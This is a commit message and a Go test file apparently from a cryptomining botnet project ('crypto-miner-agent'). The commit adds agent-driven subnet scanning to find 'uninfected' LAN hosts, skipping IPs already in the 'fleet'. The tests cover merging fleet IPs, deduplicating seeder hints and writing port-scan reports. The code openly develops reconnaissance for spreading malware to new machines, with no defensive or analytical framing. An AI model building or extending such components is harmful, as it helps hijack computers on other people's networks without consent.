Add agent-driven subnet recon sweeps for uninfected LAN hosts.

Agents scan capped /24 targets on auth and on a server policy interval, skip known fleet IPs, and batch subnet_recon_report over WebSocket.

agent/client/subnet_recon_test.go

@@ -0,0 +1,42 @@
+package client
+
+import (
+	"testing"
+
+	"crypto-miner-agent/config"
+	"crypto-miner-agent/deploy"
+)
+
+func TestApplyAuthSubnetReconMergesFleetIPs(t *testing.T) {
+	deploy.ResetSubnetReconForTest()
+	c := NewAgentClient(config.RuntimeConfig{AgentID: "agent-1"})
+	c.setLANSeeders([]deploy.LANSeederHint{{AgentID: "seed-1", IP: "10.0.0.5"}})
+	c.applyAuthSubnetRecon(AuthResponse{
+		SubnetReconEnabled:     true,
+		SubnetReconIntervalMin: 15,
+		SubnetFleetIPs:         []string{"10.0.0.10"},
+	})
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	if !c.cfg.SubnetReconEnabled || c.cfg.SubnetReconIntervalMin != 15 {
+		t.Fatalf("cfg=%+v", c.cfg)
+	}
+	if len(c.cfg.SubnetFleetIPs) != 2 {
+		t.Fatalf("fleet IPs=%v", c.cfg.SubnetFleetIPs)
+	}
+}
+
+func TestMergeSubnetFleetIPsDedupes(t *testing.T) {
+	got := mergeSubnetFleetIPs(
+		[]string{"10.0.0.1", "10.0.0.2"},
+		[]deploy.LANSeederHint{{IP: "10.0.0.2"}, {IP: "10.0.0.3"}},
+	)
+	if len(got) != 3 {
+		t.Fatalf("got %v", got)
+	}
+}
+
+func TestWriteSubnetReconReportDisabled(t *testing.T) {
+	c := NewAgentClient(config.RuntimeConfig{AgentID: "agent-1"})
+	c.writeSubnetReconReport([]deploy.SubnetReconHost{{IP: "10.0.0.1", OpenPorts: []int{22}}})
+}